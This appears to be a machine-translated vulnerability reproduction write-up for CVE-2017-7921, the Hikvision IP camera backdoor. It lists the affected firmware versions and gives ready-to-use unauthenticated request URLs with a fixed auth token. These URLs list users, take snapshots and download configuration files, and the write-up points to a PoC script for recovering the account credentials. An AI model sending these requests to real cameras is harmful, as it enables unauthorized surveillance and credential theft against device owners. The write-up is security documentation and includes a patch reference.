Reproduced Xray - cve-2017-7921 (unauthorized access by Hikvision)

One 、 Vulnerability description

many Hikvision IP The camera contains a back door , Allow unauthenticated impersonation of any configured user account . At least from 2014 From the year onwards , This loophole exists in Hikvision's products . except hikvision Brand of equipment , It also affected many white label camera products sold under various brand names . Thousands of vulnerable devices are still exposed to the Internet at the time of release . In addition to obtaining full administrative access , The vulnerability can also be used to retrieve the plaintext password of all configured users .

---

Two 、 Affects version

1. HikvisionDS-2CD2xx2F-ISeries5.2.0build140721

2. Version to 5.4.0build160530 edition ;

3. DS-2CD2xx0F-ISeries5.2.0build140721

4. Version to 5.4.0Build160401 edition ;

5. DS-2CD2xx2FWDSeries5.3.1build150410

6. Version to 5.4.4Build161125 edition ;

7. DS-2CD4x2xFWDSeries5.2.0build140721

8. Version to 5.4.0Build160414 edition ;

9. DS-2CD4xx5Series5.2.0build140721

10. Version to 5.4.0Build160421 edition ;

11. DS-2DFxSeries5.2.0build140805

12. Version to 5.4.5Build160928 edition ;

13. DS-2CD63xxSeries5.0.9build140305

14. Version to 5.3.5Build160106 edition

---

3、 ... and 、xray Scan results

---

Four 、 Loophole recurrence

（ One ） Not authorized to retrieve a list of all users and their roles

IP/Security/users?auth=YWRtaW46MTEK
 Retrieve all users 

（ Two ） Take a camera snapshot without authorization

IP/onvif-http/snapshot?auth=YWRtaW46MTEK
 Take a shot without authentication 

（ 3、 ... and ） Download camera configuration without authorization

IP/System/configurationFile?auth=YWRtaW46MTEK
 Download the camera binary configuration file 

 （ Four ） The most critical step is to obtain the background account

CVE-2017-7921 Loophole recurrence poc- Network security document resources -CSDN download

Use the script to obtain the background account

Successfully logged in ！

  It's a success ！

---

5、 ... and 、 Repair suggestions

At present, the manufacturer has released an upgrade patch to fix this security problem , Patch get link ：
http://www.hikvision.com/us/about_10805.html